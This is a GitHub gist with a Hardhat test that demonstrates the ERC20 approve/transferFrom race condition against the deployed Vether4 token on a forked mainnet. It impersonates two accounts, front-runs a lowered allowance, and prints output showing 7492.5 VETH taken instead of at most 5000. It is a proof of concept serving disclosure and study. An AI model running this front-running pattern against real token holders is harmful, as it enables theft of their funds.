-
-
Save toastedsteaksandwich/db32472ae5c19c2eb188f07abddd02fa to your computer and use it in GitHub Desktop.
ERC20 race condition for allowances
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { expect } = require("chai") | |
const { waffle } = require("hardhat") | |
let provider = ethers.getDefaultProvider(); | |
describe("allowance race condition", function () { | |
let mainnetVether; | |
beforeEach(async () => { | |
mainnetVether = await ethers.getContractAt("Vether4", "0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279"); | |
}) | |
it("allowance race condition", async function () { | |
const alice = '0x273ba31c706b9d9fdae1fd999183bfa865895be9'; | |
const bob = '0x159e4e57ed13176a69693c987917651c552d2575'; | |
const bobBeforeBal = await mainnetVether.balanceOf(bob); | |
await hre.network.provider.request({ | |
method: "hardhat_impersonateAccount", | |
params: [alice]} | |
); | |
//approve 5000 VETH | |
const aliceSigner = await ethers.provider.getSigner(alice); | |
await mainnetVether.connect(aliceSigner).approve(bob, '5000000000000000000000'.toString()); | |
await hre.network.provider.request({ | |
method: "hardhat_stopImpersonatingAccount", | |
params: [alice]} | |
); | |
await hre.network.provider.request({ | |
method: "hardhat_impersonateAccount", | |
params: [bob]} | |
); | |
//at this point, alice broadcasts that she wants to lower the allowance to 2500 VETH | |
//so bob sees this, and front runs the tx to withdraw the full balance | |
const bobSigner = await ethers.provider.getSigner(bob); | |
await mainnetVether.connect(bobSigner).transferFrom(alice, bob, '5000000000000000000000'.toString()); | |
await hre.network.provider.request({ | |
method: "hardhat_stopImpersonatingAccount", | |
params: [bob]} | |
); | |
await hre.network.provider.request({ | |
method: "hardhat_impersonateAccount", | |
params: [alice]} | |
); | |
//alice's decreased allowance confirms | |
await mainnetVether.connect(aliceSigner).approve(bob, '2500000000000000000000'.toString()); | |
await hre.network.provider.request({ | |
method: "hardhat_stopImpersonatingAccount", | |
params: [alice]} | |
); | |
await hre.network.provider.request({ | |
method: "hardhat_impersonateAccount", | |
params: [bob]} | |
); | |
//bob transfers the new allowance | |
await mainnetVether.connect(bobSigner).transferFrom(alice, bob, '2500000000000000000000'.toString()); | |
const bobAfterBal = await mainnetVether.balanceOf(bob); | |
console.log("after a max approval of 5000 VETH and an attempt to decrease it, bob received: " + (bobAfterBal-bobBeforeBal)/10**18 + " VETH"); | |
}); | |
}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
allowance race condition | |
after a max approval of 5000 VETH and an attempt to decrease it, bob received: 7492.5 VETH | |
✓ allowance race condition (207ms) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment